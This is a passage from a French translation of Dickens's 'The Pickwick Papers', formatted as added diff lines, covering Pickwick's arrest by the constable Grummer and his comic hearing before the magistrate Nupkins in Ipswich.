+--Oui, monsieur.
+
+--L'autre combattant a quitté la ville, dites-vous, madame?
+
+--Oui, répondit miss Witherfield avec une petite toux.
+
+--Très-bien. Ce sont deux coupe-jarrets de Londres, qui sont venus ici
+pour détruire la population de Sa Majesté, pensant que le bras de la loi
+est faible et paralysé à cette distance de la capitale. Mais nous en
+ferons un exemple. Expédiez le mandat d'amener, monsieur Jinks.
+Muzzle!...
+
+--Oui, Votre Vénération.
+
+--Grummer est-il en bas?
+
+--Oui, Votre Vénération.
+
+--Envoyez-le ici.»
+
+L'obséquieux Muzzle se retira et revint presque immédiatement avec le
+représentant de l'autorité, constable depuis son enfance, et qui était
+principalement remarquable par son nez vineux, sa voix enrouée, son
+habit couleur de tabac, ses bottes à revers et son regard errant.
+
+«Grummer! dit le magistrat.
+
+--Votre Vin-à-ration.
+
+--La ville est-elle tranquille maintenant?
+
+--Pas mal, Votre Vin-à-ration; la populace s'est apaisée par conséquent
+que les garçons s'en est allé jouer à la crosse.
+
+--Grummer, reprit le magistrat d'un air déterminé; dans un temps comme
+celui-ci, il n'y a que des mesures vigoureuses qui puissent réussir. Si
+l'on méprise l'autorité des officiers du roi, il faut faire lire le
+_riot-act_[27]. Si le pouvoir civil ne peut pas protéger les fenêtres,
+il faut que le militaire protège le pouvoir civil et les fenêtres aussi.
+Je pense que c'est une maxime de la constitution, monsieur Jinks?
+
+[Footnote 27: Sommation pour inviter la foule à se disperser.]
+
+--Certainement, monsieur.
+
+--Très-bien, dit le magistrat en signant le mandat d'amener. Grummer,
+vous ferez comparaître ces personnes devant nous cette après-midi; vous
+les trouverez au _Grand Cheval blanc_. Vous vous rappelez l'affaire des
+champions de Middlesex et de Suffolk, Grummer?»
+
+M. Grummer exprima par une secousse de sa tête qu'il ne l'oublierait
+jamais; ce qui, en effet, n'était guère probable, aussi longtemps
+surtout que cette affaire continuerait à lui être citée tous les jours.
+
+«Ceci, poursuivit le magistrat, est peut-être encore plus
+inconstitutionnel. C'est une plus grande violation de la paix; c'est une
+plus grave atteinte aux prérogatives de Sa Majesté. Je pense que le duel
+est un des privilèges les plus incontestables de Sa Majesté, monsieur
+Jinks.
+
+--Expressément stipulé dans la _magna Charta_, monsieur.
+
+--Un des plus beaux joyaux de la couronne, arraché à Sa Majesté par
+l'union politique des barons..., n'est-ce pas, monsieur Jinks?
+
+--Justement, monsieur.
+
+--Très-bien, continua le magistrat en se redressant avec orgueil. Cette
+prérogative royale ne sera pas violée dans cette portion des domaines de
+Sa Majesté. Grummer, procurez-vous du secours, et exécutez ce mandat
+avec le moins de délai possible. Muzzle.
+
+--Oui, Votre Vénération....
+
+--Reconduisez cette dame.»
+
+Miss Witherfield se retira, profondément impressionnée par la science et
+par la dignité du magistrat. M. Nupkins se retira pour déjeuner. M.
+Jinks se retira en lui-même, car c'était le seul endroit où il pût se
+retirer; si l'on excepte le lit-sofa du petit parloir, qui était occupé
+pendant le jour par la famille de son hôtesse. Enfin M. Grummer se
+retira pour laver, par la manière dont il exécuterait sa présente
+commission, l'insulte qui était tombée dans la matinée sur lui-même et
+sur l'autre représentant de Sa Majesté, le bedeau.
+
+Tandis que l'on faisait des préparatifs si formidables pour conserver
+la paix du roi, M. Pickwick et ses amis, tout à fait ignorants des
+prodigieux événements qui se machinaient, étaient tranquillement assis
+autour d'un excellent dîner. La bonne humeur la plus expansive régnait
+dans leur petite réunion. M. Pickwick était précisément en train de
+raconter, au grand amusement de ses sectateurs, et principalement de M.
+Tupman, ses aventures de la nuit précédente, lorsque la porte s'ouvrit,
+et laissa voir une physionomie assez rébarbative qui s'allongea dans la
+chambre. Les yeux de la physionomie rébarbative se fixèrent
+attentivement sur M. Pickwick pendant quelques secondes, et ils furent
+apparemment satisfaits de leur investigation, car le corps auquel
+appartenait la physionomie rébarbative s'introduisit lentement dans
+l'appartement, sous la forme d'un individu en bottes à revers. Enfin,
+pour ne pas tenir plus longtemps le lecteur en suspens, ces yeux étaient
+les yeux errants de M. Grummer, et ce corps était le corps du susdit
+gentleman.
+
+M. Grummer procéda d'une manière légale, mais particulière. Son premier
+acte fut de verrouiller la porte à l'intérieur; le second, de polir
+très-soigneusement sa tête et son visage avec un mouchoir de coton; le
+troisième, de placer son mouchoir de coton dans son chapeau, et son
+chapeau sur la chaise la plus proche; et le quatrième enfin, de tirer de
+sa poche un gros bâton court, surmonté d'une couronne de cuivre, avec
+laquelle il fit signe à M. Pickwick aussi gravement que la statue du
+commandeur.
+
+M. Snodgrass fut le premier à rompre le silence d'étonnement qui régnait
+dans la chambre. Durant quelques minutes, il regarda fixement M. Grummer
+et dit ensuite avec force: «Ceci est une chambre particulière, monsieur!
+une chambre particulière!»
+
+M. Grummer secoua la tête et répondit: «Il n'y a point de chambres
+particulières pour Sa Majesté, quand une fois la porte de la rue est
+passée; v'là la loi. Y en a qui disent que la maison d'un Anglais, c'est
+sa forteresse; eh bien! ceux-là disent une bêtise.»
+
+Les pickwickiens échangèrent entre eux des coups d'oeil étonnés.
+
+«Lequel c'est-il qu'est M. Tupman?» demanda M. Grummer. Il avait reconnu
+M. Pickwick du premier coup par une perception intuitive.
+
+--Mon nom est Tupman, dit ce gentleman.
+
+--Mon nom est la loi, reprit M. Grummer.
+
+--Quoi? demanda M. Tupman.
+
+--La loi, répliqua M. Grummer. La loi, le pouvoir incivil et ésécutif,
+c'est mon titre, et v'là mon autorité. «Tupman (nom de baptême en
+blanc); Pickwick (idem): contre la paix de notre seigneur le roi, vu les
+estatuts et ordonnances....» C'est en règle, vous voyez! je vous
+empoigne les susdits Pickwick et Tupman.
+
+--Qu'est-ce que signifie cette insolence? s'écria M. Tupman en se
+levant. Quittez cette chambre! sortez sur-le-champ!
+
+--Ohé! cria M. Grummer en se retirant rapidement vers la porte et en
+l'entre-bâillant, Dubbley!
+
+--Voilà! dit une voix grave dans le corridor.
+
+Au même instant, un homme qui avait près de six pieds de haut et une
+grosseur proportionnée se fourra dans la porte entr'ouverte, avec des
+efforts qui rendirent tout rouge son visage malpropre, et entra dans
+l'appartement.
+
+«Dubbley, dit M. Grummer, les autres constables spécial est-il dehors?»
+
+En homme laconique, M. Dubbley ne répondit que par un signe affirmatif.
+
+«Faites entrer la division qu'est sous vos ordres, Dubbley.»
+
+M. Dubbley obéit, et une demi-douzaine d'hommes, porteurs de gros bâtons
+courts, avec une couronne de cuivre, se précipitèrent dans la chambre.
+M. Grummer empocha son bâton, et regarda M. Dubbley; M. Dubbley empocha
+son bâton, et regarda la division; la division empocha ses bâtons, et
+regarda MM. Tupman et Pickwick.
+
+Le philosophe et ses partisans se levèrent comme un seul homme.
+
+«Que signifie cette violation atroce de mon domicile, s'écria M.
+Pickwick?
+
+--Qui oserait m'arrêter? demanda M. Tupman.
+
+--Que venez-vous faire ici, coquins? murmura M. Snodgrass.»
+
+M. Winkle ne dit rien, mais il fixa ses yeux sur Grummer avec un regard
+qui lui aurait percé la cervelle et serait ressorti de l'autre côté, si
+le constable n'avait pas eu la tête plus dure que du fer; mais, à cause
+de cette circonstance, le regard de M. Winkle n'eut sur lui aucun effet
+visible quelconque.
+
+Quand les exécutifs s'aperçurent que M. Pickwick et ses amis étaient
+disposés à résister à l'autorité de la loi, ils relevèrent les manches
+de leurs habits d'une manière très-significative, comme si c'était une
+chose toute simple, un acte purement professionnel, de jeter les
+délinquants par terre, pour les ramasser ensuite et les emporter. Cette
+démonstration ne fut pas perdue pour M. Pickwick. Il conféra à part
+pendant quelques instants avec M. Tupman, et déclara ensuite qu'il était
+prêt à se rendre à la résidence du maire, ajoutant seulement qu'il
+prenait à témoin tous les citoyens présents de cette monstrueuse
+atteinte aux privilèges d'un anglais, et de son engagement solennel de
+s'en faire rendre raison aussitôt qu'il serait en liberté. A cette
+déclaration, tous les _citoyens_ présents éclatèrent de rire, excepté
+cependant M. Grummer, qui paraissait considérer comme une espèce de
+blasphème intolérable la moindre réflexion sur le droit divin des
+magistrats.
+
+Mais lorsque M. Pickwick eut déclaré qu'il était prêt à obéir aux lois
+de son pays, et justement lorsque les garçons, les palefreniers, les
+servantes et les postillons, que sa résistance avait flattés d'un
+charmant spectacle, commençaient à se retirer avec désappointement, une
+autre difficulté s'éleva qui menaça le _Grand Cheval blanc_ d'une
+confusion nouvelle. Malgré ses sentiments de vénération pour les
+autorités constituées, M. Pickwick refusa résolument de paraître dans la
+rue, entouré, comme un malfaiteur, par les officiers de la justice. Dans
+l'état incertain de l'opinion publique (car c'était presque fête, et les
+écoliers n'étaient pas encore rentrés chez eux), M. Grummer refusa tout
+aussi résolument de marcher avec sa suite d'un côté de la rue, et
+d'accepter la parole de M. Pickwick qu'il suivrait l'autre côté pour se
+rendre directement chez le magistrat. Enfin, M. Pickwick et M. Tupman se
+refusèrent vigoureusement à faire la dépense d'une chaise de poste, ce
+qui était le seul moyen de transport respectable qu'on pût se procurer.
+La dispute dura longtemps et sur une clef très-haute. Enfin, M.
+Pickwick, continuant de refuser de se rendre à pied chez le magistrat,
+les exécutifs étaient sur le point de recourir à l'expédient bien simple
+de l'y porter, lorsque quelqu'un se rappela qu'il y avait dans la cour
+une vieille chaise à porteurs, construite originairement pour un gros
+rentier goutteux, et qui par conséquent devait contenir les deux
+coupables aussi commodément, pour le moins, qu'un cabriolet moderne. La
+chaise fut donc louée et apportée dans la salle d'en bas; M. Pickwick
+et M. Tupman s'insinuèrent dans l'intérieur, et baissèrent les stores;
+une couple de porteurs fut facilement trouvée; enfin, la procession se
+mit en marche dans le plus grand ordre. Les constables spéciaux
+entouraient le char; M. Grummer et M. Dubbley s'avançaient
+triomphalement en tête; M. Snodgrass et M. Winkle marchaient bras
+dessus, bras dessous, par derrière, et les malpeignés d'Ipswich
+formaient l'arrière-garde.
+
+Les boutiquiers de la ville, quoiqu'ils n'eussent qu'une idée fort
+indistincte de la nature de l'offense, ne pouvaient s'empêcher d'être
+tout à fait édifiés et réjouis par ce spectacle. Ils reconnaissaient le
+bras infatigable de la loi, qui était descendu, avec la force de vingt
+presses hydrauliques, sur deux coupables de la métropole elle-même.
+Cette puissante machine, mise en mouvement par leur propre magistrat, et
+dirigée par leurs propres officiers, avait comprimé les deux malfaiteurs
+dans l'étroite enceinte d'une chaise à porteurs. Nombreuses furent les
+expressions d'admiration qui saluèrent M. Grummer pendant qu'il
+conduisait le cortège, son bâton de commandement à la main; bruyantes et
+prolongées étaient les acclamations des malpeignés; et parmi ces
+témoignages unanimes de l'approbation publique, la procession s'avançait
+lentement et majestueusement.
+
+Sam Weller, vêtu de sa jaquette du matin et avec ses manches de calicot
+noir, s'en revenait d'assez mauvaise humeur, car il avait inutilement
+examiné la mystérieuse maison à la porte verte, lorsqu'il aperçut, en
+levant les yeux, un flot de populaire qui s'avançait autour d'un objet
+ressemblant fort à une chaise à porteur. Charmé de trouver une
+distraction à son désappointement, il se rangea pour laisser passer les
+malpeignés, et voyant qu'ils applaudissaient en chemin, à leur grande
+satisfaction apparente, il commença immédiatement (par pur désoeuvrement)
+à applaudir aussi de toutes ses forces et de tous ses poumons.
+
+M. Grummer passa, et M. Dubbley passa, et la chaise à porteurs passa, et
+les gardes du corps spéciaux passèrent, et Sam répondait toujours aux
+acclamations enthousiastes de la populace, en agitant son chapeau
+au-dessus de sa tête, comme s'il eût été entraîné par la joie la plus
+vive, quoique, bien entendu, il n'eût pas la plus légère idée de ce
+qu'il applaudissait. Tout à coup il resta immobile, en voyant
+inopinément apparaître MM. Winkle et Snodgrass.
+
+«Qu'est-ce qu'est arrivé, gentlemen? demanda Sam. Qu'est-ce qu'ils ont
+pincé dans cette guérite en deuil?»
+
+Les deux amis répondirent ensemble: mais leurs paroles étaient dominées
+par le tumulte.
+
+«Qu'est-ce qu'est dedans?» cria Sam de nouveau.
+
+Une seconde réplique lui fut donnée en commun, et quoiqu'il n'en pût
+distinguer les paroles, il vit par le mouvement des deux paires de
+lèvres qu'elles avaient prononcé le mot magique: _Pickwick_.
+
+C'en est assez; en une minute l'héroïque valet s'ouvre un chemin à
+travers la foule, arrête les porteurs, et vient affronter le majestueux
+Grummer.
+
+«Ohé! vieux gentleman, lui dit-il; qu'est-ce que vous avez coffré dans
+cette boîte ici?
+
+--Gare de delà! s'écria avec emphase M. Grummer, dont l'importance,
+comme celle de beaucoup d'autres grands hommes, était singulièrement
+enflée par le vent de la popularité.
+
+--Faites-y prendre un billet de parterre, cria M. Dubbley.
+
+--Je vous suis fort obligé pour votre politesse, vieux gentleman, reprit
+Sam; et je suis encore plus obligé à l'autre gentleman qui a l'air
+échappé d'une caravane de géants, pour son agréable avis; mais
+j'aimerais mieux que vous répondissiez à ma question, si ça vous est
+égal.--Comment vous portez-vous, monsieur?» Cette dernière phrase était
+adressée, d'un air protecteur, à M. Pickwick, dont les lunettes étaient
+perceptibles entre les stores et le châssis inférieur de la portière de
+la chaise.
+
+M. Grummer, que l'indignation avait rendu muet, agita devant les yeux de
+Sam son gros bâton, orné d'une couronne de cuivre.
+
+«Ah! dit celui-ci, c'est fort gentil; spécialement la couronne, qui est
+hermétiquement pareille à la véritable.
+
+--Gare de delà!» vociféra de nouveau le fonctionnaire offensé; et comme
+pour donner plus de force à cet ordre, il saisit Sam d'une main, tandis
+que de l'autre il introduisait dans sa cravate le métallique emblème de
+la royauté. Notre héros répondit à ce compliment en jetant par terre son
+auteur, après avoir charitablement renversé le premier porteur, pour lui
+servir de tapis.
+
+M. Winkle fut-il alors saisi d'une attaque temporaire de cette espèce
+d'insanité produite par le sentiment d'une injure, ou fut-il mis en
+train par le spectacle de la valeur de Sam? C'est ce qui est incertain.
+Mais il est certain qu'à peine avait-il vu tomber Grummer, qu'il fit une
+terrible invasion sur un petit gamin qui se trouvait près de lui.
+Échauffé par cet exemple, M. Snodgrass, dans un esprit véritablement
+chrétien, et afin de ne prendre personne en traître, annonça hautement
+qu'il allait commencer; aussi fut-il entouré et empoigné pendant qu'il
+ôtait son habit avec le plus grand soin. Au reste, pour lui rendre
+justice, ainsi qu'à M. Winkle, nous devons déclarer qu'ils ne firent pas
+la plus légère tentative pour se défendre, ni pour délivrer Sam; car
+celui-ci, après la plus vigoureuse résistance, avait enfin été accablé
+par le nombre et était demeuré prisonnier. La procession se reforma
+donc, les porteurs firent leur office, et la marche recommença.
+
+Pendant toute la durée de ces opérations, l'indignation de M. Pickwick
+n'avait pas connu de bornes. Il distinguait confusément que Sam
+renversait les constables et distribuait des horions autour de lui; mais
+c'était tout ce qu'il pouvait voir, car la portière de la chaise
+refusait de s'ouvrir, et les stores ne voulaient pas se relever. A la
+fin, avec l'assistance de son compagnon de captivité, M. Pickwick
+parvint à soulever l'impériale, monta sur la banquette, se haussa le
+plus qu'il put en appuyant ses deux mains sur les épaules de M. Tupman,
+et commença à haranguer la multitude. Il la prit à témoin que son
+domestique avait été assailli le premier. Il s'étendit éloquemment sur
+la brutalité inexcusable avec laquelle lui-même avait été traité, et ce
+fut de cette manière que la caravane atteignit la maison du magistrat;
+les porteurs trottant, les prisonniers suivant, M. Pickwick haranguant,
+et la populace vociférant.
+
+
+
+
+CHAPITRE XXV.
+
+Montrant combien M. Nupkins était majestueux et impartial, et comment
+Sam Weller prit sa revanche de M. Job Trotter; avec d'autres événements
+qu'on trouvera à leur place.
+
+
+M. Snodgrass et M. Winkle écoutaient avec un sombre respect le torrent
+d'éloquence qui découlait des lèvres de leur mentor, et que ne pouvaient
+arrêter ni le mouvement rapide de la chaise à porteurs, ni les
+supplications instantes de M. Tupman pour abaisser le couvercle de la
+voiture. Mais l'indignation de Sam, tandis qu'on l'emportait, avait un
+caractère plus bruyant. Il faisait de nombreuses allusions à la tournure
+de M. Grummer et de ses compagnons, et il exhalait son mécontentement
+par de courageux défis qu'il lançait indistinctement à six des plus
+valeureux spectateurs. Cependant sa colère fit promptement place à la
+curiosité, lorsque la procession entra précisément dans la cour où il
+avait rencontré le fuyard Job Trotter; et la curiosité fut remplacée par
+le sentiment du plus joyeux étonnement, lorsque l'important M. Grummer
+s'avança, d'un pas noble, justement vers la porte verte d'où Job Trotter
+était sorti. Au bruit de la sonnette, qu'il fit retentir fortement,
+accourut une jeune servante très-jolie et très-pimpante qui, après avoir
+levé ses mains vers le ciel, à l'apparence rebelle des prisonniers et au
+langage passionné de M. Pickwick, appela M. Muzzle. M. Muzzle ouvrit à
+moitié la porte cochère pour admettre la chaise à porteurs, les captifs
+et les spéciaux; puis la referma violemment au nez de la populace.
+Justement indignée d'une telle exclusion et vivement désireuse de voir
+ce qui arriverait ensuite, la dite populace soulagea son ennui en
+frappant à la porte et en tirant la sonnette pendant une heure ou deux,
+amusement auquel prirent part, tour à tour, tous les mal peignés,
+excepté trois ou quatre qui eurent le bonheur de découvrir dans la porte
+un vasistas grillé, à travers lequel on n'apercevait rien. Ceux-ci
+restèrent pendus à cette ouverture, avec la persévérance infatigable qui
+fait que certaines gens s'aplatissent le nez contre les carreaux d'un
+apothicaire, quand un homme saoul, renversé par un dog-cart, subit une
+opération chirurgicale dans l'arrière-parloir.
+
+La chaise à porteurs s'arrêta devant un escalier de pierre conduisant à
+la porte de la maison, et gardé, de chaque côté, par un aloès américain,
+debout dans une caisse verte. Déposés là, M. Pickwick et ses amis furent
+ensuite amenés dans la grande salle, et, ayant été annoncés par Muzzle,
+furent admis en la présence du vigilant M. Nupkins.
+
+La scène était pleine de grandeur et bien calculée pour frapper de
+terreur le coeur des coupables, et pour leur inculquer une haute idée de
+la sévère majesté des lois. Devant un énorme cartonnier, dans un énorme
+fauteuil, derrière une énorme table, et appuyé sur un énorme volume,
+était assis M. Nupkins, qui paraissait encore plus énorme que tous ces
+objets réunis. La table était ornée de piles de papiers, de l'autre côté
+desquels apparaissaient la tête et les épaules de M. Jinks, activement
+occupé à avoir l'air aussi occupé que possible. La caravane étant
+entrée, Muzzle ferma soigneusement la porte et se plaça derrière le
+fauteuil de son maître, pour attendre ses ordres, tandis que M. Nupkins,
+se penchant en arrière avec une solennité importante, scrutait la figure
+de ses hôtes forcés.
+
+M. Pickwick, interprète ordinaire de ses amis, se tenait debout, son
+chapeau à la main, et saluait avec la plus respectueuse politesse. «Quel
+est cet individu? dit M. Nupkins, en le montrant du doigt à l'homme d'un
+âge mûr.
+
+--Cti-ci, c'est Pickwick, Votre Vin-à-ration, répondit Grummer.
+
+--Allons, allons, en voilà assez, vieux gobe-mouche, interrompit Sam, en
+s'ouvrant, avec les coudes, un passage jusqu'au premier rang. Je vous
+demande pardon, monsieur, mais cet officier-ci, avec ses bottes à revers
+nankin, il ne gagnera jamais sa vie nulle part comme maître des
+cérémonies. Voilà ici, continua Sam, en mettant de côté M. Grummer et en
+s'adressant au magistrat avec une agréable familiarité, voilà ici Samuel
+Pickwick, esquire; voilà ici M. Tupman; voilà ici M. Snodgrass; et plus
+loin, à côté de lui, de l'autre côté, M. Winkle, tous des gentlemen bien
+gentils, monsieur, et dont vous auriez du plaisir à faire la
+connaissance. Aussi, plus tôt vous aurez coffré tous ces bedeaux-là,
+pour un mois ou deux, au _Tread-mill_[28], et plus tôt nous serons bons
+amis. Les affaires d'abord, tes plaisirs après, comme dit le roi
+Richard quand il poignarda l'autre dans la tour, avant d'étouffer les
+moutards.»
+
+[Footnote 28: Moulin que les condamnés font mouvoir en marchant sur un
+cylindre.
+
+(_Note du traducteur._)]
+
+Après avoir débité cette adresse, Sam s'occupa à polir son chapeau avec
+son coude droit, et fit d'un air bénin un signe de tête à M. Jinks, qui
+l'avait entendu d'un bout à l'autre avec une indicible terreur.
+
+«Quel est cet homme, Grummer? balbutia le magistrat.
+
+--Un malfaiteur très-dangereux, Votre Vin-à-ration. Il a voulu délivrer
+les prisonniers et il a attaqué les agents de l'autorité. Com'ça nous
+l'avons empoigné.
+
+--Vous avez bien fait, Grummer. C'est évidemment un bandit audacieux.
+
+--C'est mon domestique, monsieur, dit M. Peckwick, avec un peu
+d'irritation.
+
+--Ah! c'est votre domestique?--Conspiration pour arrêter le cours de la
+justice et pour assassiner ses officiers. Domestique de Pickwick.
+Écrivez cela, monsieur Jinks.»
+
+M. Jinks écrivit.
+
+«Comment vous appelez-vous, drôle? poursuivit le magistrat.
+
+--Weller, répondit Sam.
+
+--Un excellent nom pour le calendrier de Newgate,» observa M. Nupkins.
+
+C'était une plaisanterie; aussi Grummer, Dubbley, tous les spéciaux, et
+Muzzle éclatèrent-ils de rire, avec des convulsions qui durèrent pendant
+cinq minutes.
+
+«Écrivez son nom, monsieur Jinks, reprit le magistrat
+
+--Mettez deux _l_, vieux pigeon, dit Sam.»
+
+Ici, un malheureux spécial se mit à rire encore et le magistrat le
+menaça de le faire empoigner sur-le-champ. Il est dangereux,
+quelquefois, de rire mal à propos.
+
+«Où vivez-vous? demanda le magistrat.
+
+--Où je me trouve, répondit Sam.
+
+--Notez cela, monsieur Jinks! cria le magistrat, dont la colère
+s'augmentait rapidement.
+
+--Et n'oubliez pas de souligner, poursuivit Sam.
+
+--C'est un vagabond, monsieur Jinks! c'est un vagabond d'après son
+propre aveu. N'est-ce pas vrai, monsieur Jinks, que c'est un vagabond?
+
+--Certainement, monsieur.
+
+--Hé bien! s'écria M. Nupkins en frappant la table de son poing;
+écrivez sur-le-champ son mandat de dépôt. Il faut lui apprendra à vivre!
+
+--Bien obligé, mon magistrat, répliqua Sam. Mais vous devriez bien aller
+à c'te école-là pendant quelques mois.»
+
+A cette saillie un autre spécial éclata de rire, et ensuite prit un air
+de gravité tellement surnaturelle que M. Nupkins le découvrit
+immédiatement.
+
+«Grummer! s'écria-t-il en rougissant de courroux, comment osez-vous
+choisir pour constable spécial un être aussi nul et aussi inconvenant
+que cet homme! Répondez, monsieur!
+
+--J'en suis bien infligé, Votre Vin-à-ration, balbutia Grummer.
+
+--Bien affligé! répéta le magistrat furieux. Vous avez raison de l'être!
+je vous apprendrai à négliger ainsi votre devoir, M. Grummer! je ferai
+un exemple sur vous. Otez le bâton de ce drôle. Il est ivre. Vous êtes
+ivre, drôle!
+
+--Non Fotre Fénération, répondit l'homme; je ne suis pas ifre.
+
+--Vous êtes ivre! répliqua le magistrat. Comment osez-vous dire que nous
+n'êtes pas ivre, monsieur, quand je vous dis que vous êtes ivre. Est-ce
+qu'il ne sent pas l'eau-de-vie, Grummer?
+
+--Horriblement, Votre Vin-à-ration, répondit M. Grummer, dont les nerfs
+olfactifs éprouvaient effectivement une vague impression de rhum.
+
+--J'en étais sûr, reprit M. Nupkins. Quand il est entré dans la chambre,
+j'ai vu à son oeil enflammé qu'il était ivre. Avez-vous remarqué son oeil
+enflammé, M. Jinks?
+
+--Certainement, monsieur.
+
+--Che n'ai pas touché une koutte d'eau-te-fie t'aujourd'hui, déclara
+l'homme, qui était peut-être le plus sobre de toute la bande.
+
+--Monsieur Jinks, poursuivit le magistrat, je l'enverrai en prison pour
+avoir insulté la cour. Écrivez son mandat de dépôt, M. Jinks.»
+
+Cependant M. Jinks, qui était le conseiller de M. Nupkins, et qui avait
+eu une éducation légale, car il avait passé trois années dans l'étude
+d'un procureur de province; M. Jinks, disons-nous, fit observer tout bas
+au magistrat que cela ne pourrait pas aller ainsi. Le magistrat
+improvisa donc un discours, dans lequel il déclara que par considération
+pour la famille du spécial il se contentait de le réprimander et de le
+casser. En conséquence, le malheureux coupable fut violemment injurié
+pendant un quart d'heure, puis renvoyé à ses affaires; et Grummer,
+Dubbley, Muzzle et tous les autres spéciaux murmurèrent, pendant un
+autre quart d'heure, leur admiration de la conduite magnanime du
+magistrat.
+
+«Maintenant, monsieur Jinks, reprit celui-ci, faites prêter serment à
+Grummer.»
+
+Grummer prêta serment immédiatement, mais comme il s'égarait dans sa
+déposition, et comme le dîner de M. Nupkins était prêt, le magistrat,
+pour couper court, se mit à faire des questions à M. Grummer, et M.
+Grummer lui répondait affirmativement autant qu'il le pouvait, si bien
+que l'instruction marcha très-rapidement et très-confortablement. Sam
+Weller fut convaincu de voies de fait, M. Winkle de menaces, M.
+Snodgrass de résistance; et quand tout ceci fut fait à la satisfaction
+du magistrat, le magistrat et M. Jinks se consultèrent à voix basse.
+
+La consultation ayant duré environ dix minutes, M. Jinks se retira à son
+bout de la table, et le magistrat, après une toux préparatoire, se
+redressa dans son fauteuil et allait prononcer un discours lorsque M.
+Pickwick prit la parole.
+
+«Monsieur, dit-il, je vous demande pardon de vous interrompre; mais
+avant que vous exprimiez l'opinion que vous pouvez avoir formée, et
+avant que vous agissiez en conséquence, je dois réclamer mon droit
+d'être entendu, pour ce qui me regarde personnellement, du moins.
+
+--Taisez-vous, monsieur? s'écria le magistrat d'un ton péremptoire.
+
+--Il faut bien que je me soumette à votre autorité, monsieur, répondit
+M. Pickwick.
+
+--Taisez-vous, monsieur! reprit le magistrat, ou je vous ferai emmener
+par un de mes officiers.
+
+--Vous pouvez ordonner à vos officiers de faire tout ce qu'il vous
+plaira, monsieur; et d'après ce que j'ai vu de leur subordination je
+n'ai pas le plus petit doute qu'ils n'exécutent tout ce qu'il vous
+plaira de leur ordonner; mais je prendrai la liberté de réclamer le
+droit que j'ai d'être entendu, et je le réclamerai jusqu'à ce qu'on
+m'éloigne d'ici par la violence.
+
+--Pickwick et les principes! s'écria Sam d'une voix sonore.
+
+--Sam, tenez-vous tranquille, lui dit son maître.
+
+--Muet comme un tambour troué,» répliqua le personnage.
+
+M. Nupkins, frappé d'étonnement par une témérité si extraordinaire!
+lança à M. Pickwick un regard courroucé, et allait apparemment lui
+répondre très-sévèrement, lorsque M. Jinks le tira par la manche et lui
+chuchota quelque chose à l'oreille. Le magistrat fit une réponse a demi
+haut; puis le chuchotement fut renouvelé. Il était évident que M. Jinks
+lui adressait des remontrances.
+
+A la fin, le magistrat, avalant de fort mauvaise grâce le dépit qu'il
+éprouvait d'en entendre plus long, se retourna vers M. Pickwick et lui
+dit brusquement: «Qu'est-ce que vous avez à dire?
+
+--D'abord, répondit le philosophe, en lançant à travers ses lunettes un
+regard qui intimida M. Nupkins sur son siége; d'abord je désire
+connaître pourquoi mon ami et moi nous avons été amenés ici?
+
+--Suis-je tenu de le lui dire? chuchota le magistrat à M. Jinks.
+
+--Je pense que oui, monsieur, chuchota M. Jinks au magistrat.
+
+--On a déposé devant moi, sous la foi du serment, qu'il y avait lieu de
+craindre que vous ne voulussiez vous battre en duel; et que cet autre
+homme, Tupman, devait être votre fauteur et votre complice dans le dit
+duel; c'est pourquoi... eh! monsieur Jinks?
+
+--Certainement, monsieur.
+
+--C'est pourquoi, je vous condamne tous les deux à... Je pense que voilà
+l'affaire, monsieur Jinks.
+
+--Certainement, monsieur.
+
+--Je vous condamne à... à... à quoi, monsieur Jinks? demanda le
+magistrat avec dépit.
+
+--A fournir caution, monsieur.
+
+--Oui. C'est pourquoi je vous condamne tous les deux, comme j'allais
+dire lorsque j'ai été interrompu par mon clerc, à fournir caution.
+
+--Bonne caution, chuchota L. Jinks.
+
+--J'exigerai deux bonnes cautions, reprit le magistrat.
+
+--Bourgeois de la ville, chuchota M. Jinks.
+
+--Qui doivent être des bourgeois de la ville, poursuivit le magistrat.
+
+--Cinquante guinées chacune et des propriétaires, comme il va sans dire.
+
+--J'exigerai deux cautions de cinquante guinées chacune, continua le
+magistrat à voit haute et avec grande dignité; et je n'accepterai que
+des propriétaires, comme il va sans dire.
+
+--Mais, monsieur, fit observer M. Pickwick, qui, ainsi que M. Tupman,
+était rempli d'étonnement et d'indignation, mais monsieur, nous sommes
+parfaitement étrangers à la ville et j'y connais autant de propriétaires
+que j'ai envie d'y avoir un duel.
+
+--Oui, oui, on connaît ça, dit le magistrat. N'est-ce pas, monsieur
+Jinks?
+
+--Certainement, monsieur.
+
+--Avez-vous quelque chose a ajouter?» reprit le magistrat.
+
+M. Pickwick avait bien des choses à ajouter, et il les aurait ajoutées
+sans aucun doute, avec aussi peu de profit pour lui-même que de
+satisfaction pour le magistrat, s'il n'avait pas été engagé alors avec
+Sam, dans une conversation tellement intéressante qu'il n'entendit point
+la question qui lui était adressée. M. Nupkins n'était point homme à
+demander deux fois une chose de cette nature. Il toussa donc de nouveau,
+d'une manière préparatoire, et prononça sa décision au milieu du silence
+admirateur et respectueux des constables.
+
+Il condamnait Weller à deux guinées d'amende pour les premières voies de
+fait, et à trois guinées pour les secondes; il condamnait Winkle à deux
+guinées; Snodgrass à une guinée; et les requérait, en outre, de jurer
+qu'ils ne commettraient de violences sur aucun sujet de Sa Majesté, et
+notamment sur ses hommes liges, Daniel et Grummer: il avait déjà requis
+Pickwick et Tupman de fournir des cautions.
+
+Aussitôt que le magistrat eut cessé de parler, M. Pickwick, dont la
+physionomie était de nouveau animée par un sourire de bonne humeur, fit
+un pas en avant, et dit:
+
+«Je prie le magistrat de vouloir bien m'accorder quelques minutes de
+conversation en particulier. Il s'agit d'une affaire qui est d'une grave
+importance pour lui-même.
+
+--Quoi!» s'écria M. Nupkins.
+
+M. Pickwick répéta sa requête.
+
+«Voilà une demande bien extraordinaire! dit le magistrat. Une
+conversation en particulier!
+
+--Une conversation en particulier, répéta M. Pickwick avec fermeté.
+Seulement, comme c'est par mon domestique que j'ai appris une partie de
+ce que j'ai à vous communiquer, je désirerais qu'il fût présent.»
+
+Le magistrat regarda M. Jinks. M. Jinks regarda le magistrat, et les
+officiers se regardèrent l'un l'autre avec étonnement. Tout à coup M.
+Nupkins devint pâle. Peut-être ce Weller, dans un moment de remords,
+avait-il confessé quelque complot formé pour assassiner le magistrat.
+C'était une horrible pensée! En effet, M. Nupkins était un homme
+politique; et il devint encore plus pâle en songeant à Jules César et à
+M. Perceval.
+
+Il regarda de nouveau M. Pickwick et fit un signe à M. Jinks.
+
+«Que pensez-vous de cette demande, monsieur Jinks,» murmura-t-il à son
+oreille.
+
+M. Jinks, qui ne savait pas exactement qu'en penser, et qui avait peur
+d'offenser son patron, sourit faiblement, d'une manière douteuse; puis,
